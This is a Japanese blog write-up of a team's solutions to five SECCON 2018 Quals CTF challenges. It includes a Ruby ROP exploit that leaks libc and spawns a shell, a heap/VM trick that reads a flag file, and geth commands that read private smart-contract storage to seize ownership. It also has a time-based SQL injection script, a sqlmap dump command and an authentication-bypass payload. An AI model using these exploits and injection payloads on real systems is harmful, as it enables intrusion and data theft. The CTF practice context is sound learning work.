cookies.txt      .scr

ただのテキストファイルのようだ

SECCON 2018 Quals write-up (classic, kindvm, gacha lv.1/2, shooter last part)

TSGで出ました。2位です!わいわい!
本戦は僕は出れません。

チームのひとびとの記事

hakatashi.hatenadiary.com
moraprogramming.hateblo.jp
qiita.com



自分がflag submitした問題は、タイトルの5つのようです。
うち、shooterは最後の段階しかやっていません。

classic

やるだけ。
見た瞬間10分で解こうと自分でプレッシャーを与えたが、結局30分以上かかってしまった。精進が足りない。x64だと気づくのに10分かかった。

require 'socket'

plt_puts = 0x400520
plt_printf = 0x0000000000400540
plt_gets = 0x400560
got_puts = 0x601018
pop1ret = 0x00400753
buf = 0x00601000

rel_puts = 0x00006f690
rel_system = 0x0045390
rel_binsh = 0x18cd57

rop = [
  pop1ret,
  got_puts,
  plt_printf,

  pop1ret,
  got_puts,
  plt_gets,

  pop1ret,
  buf,
  plt_gets,

  pop1ret,
  buf,
  plt_puts,

  0xdeadbeef,
]

s = TCPSocket.new('classic.pwn.seccon.jp', 17354)

s.puts [buf+0x1000].pack("Q")*9 + rop.pack("Q*")

nil until s.read(1) == '!'
s.read(1) # !
s.read(1) # LF

sleep 0.3

a_puts =  (s.readpartial(100) + 0.chr*100).unpack("Q")[0]
libc_base = a_puts - rel_puts

a_system = libc_base + rel_system
s.puts [a_system].pack("Q")
s.puts '/bin/sh'

sleep 0.3

s.puts 'cat flag.txt'

while l = s.gets
  puts l
end

kindvm

とってもkind。

mallocの順序的に、heap上では、

  • banner.txtなどの管理領域
  • vm memory領域
  • vm regs領域

という前後関係が満たされる。

HALT時のfarewellにbanner.txtの代わりにflag.txtを読ませようと考えて、そのflag.txtという文字列はusernameに載せようと思うわけだけれど、そのためにはmemoryに対する負indexアクセスがしたくなって、一瞬load/storeがindexに16bitしかアドレスとらんやんけと思ったが、その16bitがmovsxで符号拡張されているので安心。

require 'socket'

s = TCPSocket.new('kindvm.pwn.seccon.jp', 12345)

s.puts 'flag.txt'
sleep 0.3

NOP, LD, ST, MV, ADD, SUB, HLT, IN, OUT, HINT =
  10.times.to_a

s.print [
  LD, 0, 0xFF, 0xD8,
  ST, 0xFF, 0xDC, 0,
  HLT,
].pack("C*").ljust(1024,NOP.chr)

while l = s.gets
  puts l
end

gacha lv.1

どうにかして自分のcontractのpasswordを得られれば、それを使ってそのcontractのownerになることができ、initSeedによって自由にseedを書き換えられる。

passwordはprivate fieldなので、得るために下の記事を参考にした。
medium.com
getStorageAtによってstorageのバイナリを得たら、頑張ってパスワードっぽいところを見つける。solidityスクリプトの順序どおりに並んでるようなので、そう大変ではない。(実質4byteだった。)

このパスワードを引数にしたchangeOwnerのtransactionを発行して、seedを自由にできるようになったら、
近くに来るblock.numberの逆元を12345に掛けた値をseedにすることで、宝くじを当てられる確率がぐんと上がる。(タイミングを見計らうのはまあむずかしいが...)

$ geth console
> // create an account with an account_password and put your private key
> // download solidity script, compile it with solc and get abi
> var ac = eth.accounts[0]
> personal.unlockAccount( ac )
> 
> var storage = []
> for(var i=0; i<100; i++){storage.push(eth.getStorageAt(your_contract_addr, i)}
> 
> var password = find_your_password_in_storage
> eth.contract( abi ).at( your_contract_addr ).changeOwner.sendTransaction(password, {from: ac})
> console.log( eth.blockNumber )
> eth.contract( abi ).at( your_contract_addr ).initSeed.sendTransaction(new_seed, [from: ac})
> eth.contract( abi ).at( your_contract_addr ).pickUp.sendTransaction({from: ac})
> // visit your contract in browser and get flag

gacha lv.2

satosさんに方針を立ててもらったし、ついでに行動選択スクリプトもかいてもらった。
実際のところ、現時点から100ブロックもチェーンが確立する間を見ておけば、pickUpのタイミングをうまく選択すると、resultを12345にすることが十分に可能。
pickUpの回数も、4~7回くらいで済む。
このpickUpするべきブロック番号を調べるスクリプトはsatosさんにさっと書いてもらって、自分はそのタイミングでうまく宝くじを引くスクリプトを書いた。
とはいえ結構タイミングがシビアで、アカウントを作っては消してを繰り返して、最終的には3並列くらいで宝くじを回し続けたら、当たったのが出た。

$ geth console
> personal.unlockAccount(eth.accounts[0], account_pass, 0)
> 
> eth.filter('latest').watch(function(e,b){
>    var bn = eth.blockNumber
>    var nextbn = bn + 1
> 
>    // (11 * 24655 * 24679 * 24681 * 24687 * 24693) % 200000 == 12345
>    if([24655, 24679, 24681, 24687, 24693].indexOf(next_bn) != -1) {
>      console.log('emit transaction', next_bn)
>      eth.contract(abi).at( your_contract_addr ).pickUp.sendTransaction({from: eth.accounts[0]})
>      console.log('emit transaction done', next_bn)
>    } else {
>      console.log('pass', next_bn)
>    }
> })

ちなみに、これらGacha兄弟は、いわゆるCrypto Genreに入れてよいのかは議論の余地がありますが、しかし個人的にEthereum/スマートコントラクトの勉強になり、ためになった問題でした。

shooter last part

GenreはReversingだけれど、最後のWebフェーズのところから参加。
僕のWindows PCのモバイルホットスポットで立てたWi-Fiに、hakatashiのAndroidからつないでもらって、アプリを動かしたときに流れるパケットをWiresharkでとる。
その少し後に、apkのreversing結果から http://staging.shooter.pwn.seccon.jp という謎URLをhakatashiたちが見つけて悩んでいたので、その謎URLの近くに書いてあった/adminでもつけてみてアクセスしたところ、なんかでてくる。
SQLiがあることにこれまたhakatashiが気づいたので、SQLiでDBをダンプしていく。SQL Engine(MySQL)と、アクセスしているテーブル名(managers)およびそのフィールド(login_id, password_hash, ...)まではrubyでtime-based techniqueでやっていったけれど、そのあたりから面倒になってきたので、続きはお膳立てhttp proxy serverを建ててあげて、sqlmapに任せた。

def urlencode(x)
  x.bytes.map{|x| "%%%02X"%x}.join
end

def req(pass)
  puts pass
  u = urlencode pass

  token = `curl 'http://staging.shooter.pwn.seccon.jp/admin/sessions/new' -H 'Origin: http://staging.shooter.pwn.seccon.jp' -H 'Cookie: _shooter_session=Oycgbd6BstQOTgP9eT1yr5ve8DMPu08n3hEczhjXTl3%2Bo6ysEVPituGlpOKM2IcTaJ6%2BEsiBnIVlPPKFelFiow4NhL6NZgITF3KuNedJV6nU4D6JGnoFtp3wGvGDOm7W0FoRNAPGqRE9xVTWbSE%3D--7gLwbbI1CFVhU3kB--3vja7ydYdoSYcoXueypn8g%3D%3D' 2> /dev/null`.scan(/authenticity_token" value="(.*?)"/).flatten[0]
  res = `curl 'http://staging.shooter.pwn.seccon.jp/admin/sessions' -H 'Origin: http://staging.shooter.pwn.seccon.jp' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Referer: http://staging.shooter.pwn.seccon.jp/admin/sessions/new' -H 'Cookie: _shooter_session=Oycgbd6BstQOTgP9eT1yr5ve8DMPu08n3hEczhjXTl3%2Bo6ysEVPituGlpOKM2IcTaJ6%2BEsiBnIVlPPKFelFiow4NhL6NZgITF3KuNedJV6nU4D6JGnoFtp3wGvGDOm7W0FoRNAPGqRE9xVTWbSE%3D--7gLwbbI1CFVhU3kB--3vja7ydYdoSYcoXueypn8g%3D%3D' --data 'utf8=%E2%9C%93&authenticity_token=#{urlencode(token)}&login_id=admin&password=#{u}&commit=Login' 2> /dev/null`
end

require 'sinatra'

post '/inj' do
  pass = params[:pass]
  pass = "hoge' or 'hoge' ='" + pass
  req(pass)
end
sqlmap -u 'http://localhost:4567/inj' --data pass=hoge --technique=T --dbms mysql --dump --time-sec 2


ちなみに、いやすごいエスパーだと思うんですが、ログインを通す極小解は下。カッコがキモ。

username: admin
password: '))or(('a'='a